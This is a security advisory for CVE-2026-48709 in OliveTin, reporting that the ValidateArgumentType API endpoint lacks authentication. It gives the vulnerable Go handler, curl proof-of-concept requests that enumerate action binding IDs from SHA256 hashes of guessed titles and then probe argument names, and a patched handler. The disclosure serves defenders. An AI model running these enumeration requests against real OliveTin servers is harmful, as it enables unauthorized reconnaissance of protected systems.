CVE-2026-48709

## Summary The `ValidateArgumentType` RPC endpoint in `service/internal/api/api.go` does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call `auth.UserFromApiCall` or `checkDashboardAccess`. When `AuthRequireGuestsToLogin` is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations. ## Details ### Root Cause The `ValidateArgumentType` handler at `service/internal/api/api.go:726` has no authentication check: ```go func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) { if api.argumentNotFoundForValidation(req.Msg) { return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId)) } err := api.validateArgumentTypeInternal(req.Msg) desc := "" if err != nil { desc = err.Error() } return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{ Valid: err == nil, Description: desc, }), nil } ``` Compare this with adjacent endpoints that DO have auth checks: ```go // WhoAmI - has auth check func (api *oliveTinAPI) WhoAmI(ctx ctx.Context, req *connect.Request[apiv1.WhoAmIRequest]) ... { user := auth.UserFromApiCall(ctx, req, api.cfg) if err := api.checkDashboardAccess(user); err != nil { return nil, err } ... } // GetDashboard - has auth check func (api *oliveTinAPI) GetDashboard(ctx ctx.Context, req *connect.Request[apiv1.GetDashboardRequest]) ... { user := auth.UserFromApiCall(ctx, req, api.cfg) if err := api.checkDashboardAccess(user); err != nil { return nil, err } ... } ``` ### Oracle Behavior The endpoint provides different responses based on whether the binding and argument exist: - **Valid binding + valid argument**: Returns `{valid: true/false, description: "..."}` (200 OK) - **Valid binding + invalid argument**: Returns `CodeNotFound` error - **Invalid binding**: Returns `CodeNotFound` error While the error messages for the last two cases are identical, an attacker who knows a valid binding ID (or can guess one from action title SHA256) can enumerate argument names by observing which ones return 200 OK vs CodeNotFound. ### Binding ID Predictability Binding IDs are SHA256 hashes of action titles (see `service/internal/executor/executor_actions.go`). Since action titles are typically short, human-readable strings (e.g., "Ping", "Restart Service", "Deploy"), an attacker can precompute hashes of likely titles and test them against this endpoint. ### Scope This finding is only meaningful when `AuthRequireGuestsToLogin: true` is configured. In the default configuration where guests have full dashboard access, the action information is already visible through the dashboard API. When `AuthRequireGuestsToLogin` is true, `checkDashboardAccess` blocks guest access to other endpoints but NOT to `ValidateArgumentType`. ## PoC ### Prerequisites - OliveTin instance with `AuthRequireGuestsToLogin: true` configured ### Step 1: Verify other endpoints require auth Confirm that regular endpoints reject unauthenticated requests: ```bash curl -s -X POST http://localhost:1337/api/GetDashboard \ -H "Content-Type: application/json" \ -d "{}" # Returns: CodePermissionDenied - "guests are not allowed to access the dashboard" ``` ### Step 2: Enumerate binding IDs via ValidateArgumentType Test candidate binding IDs (SHA256 of guessed action titles): ```bash # Test if an action titled "Ping" exists BINDING_ID=$(echo -n "Ping" | sha256sum | cut -d" " -f1) curl -s -X POST http://localhost:1337/api/ValidateArgumentType \ -H "Content-Type: application/json" \ -d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"test\",\"value\":\"x\",\"type\":\"ascii\"}" # If action exists: returns CodeNotFound (argument "test" not found for this binding) # If action does not exist: returns CodeNotFound (same message, but confirms the oracle) ``` ### Step 3: Enumerate argument names for a known binding Once a valid binding ID is known, brute-force argument names: ```bash # Test if argument "target" exists for the Ping action curl -s -X POST http://localhost:1337/api/ValidateArgumentType \ -H "Content-Type: application/json" \ -d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"target\",\"value\":\"test\",\"type\":\"ascii\"}" # If argument exists: returns {valid: true/false} (200 OK) -- CONFIRMED # If argument does not exist: returns CodeNotFound error ``` ## Impact 1. **Information Disclosure**: Unauthenticated users can enumerate which actions exist (by testing binding IDs) and which arguments each action accepts (by testing argument names). This reveals the server configuration to unauthorized parties. 2. **Reconnaissance for Further Attacks**: The enumerated information (action names, argument names, argument types) provides valuable reconnaissance for more targeted attacks such as the `ot_` prefix argument injection (see advisory 001) or social engineering. 3. **Limited Scope**: This is only exploitable when `AuthRequireGuestsToLogin: true` is configured. In the default configuration, guests already have full access to the dashboard which exposes the same information. ## Recommended Fix Add authentication and dashboard access checks to the `ValidateArgumentType` handler, consistent with all other data-returning endpoints: ```go func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) { // Add auth check consistent with other endpoints user := auth.UserFromApiCall(ctx, req, api.cfg) if err := api.checkDashboardAccess(user); err != nil { return nil, err } if api.argumentNotFoundForValidation(req.Msg) { return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId)) } err := api.validateArgumentTypeInternal(req.Msg) desc := "" if err != nil { desc = err.Error() } return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{ Valid: err == nil, Description: desc, }), nil } ```

OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration in github.com/OliveTin/OliveTin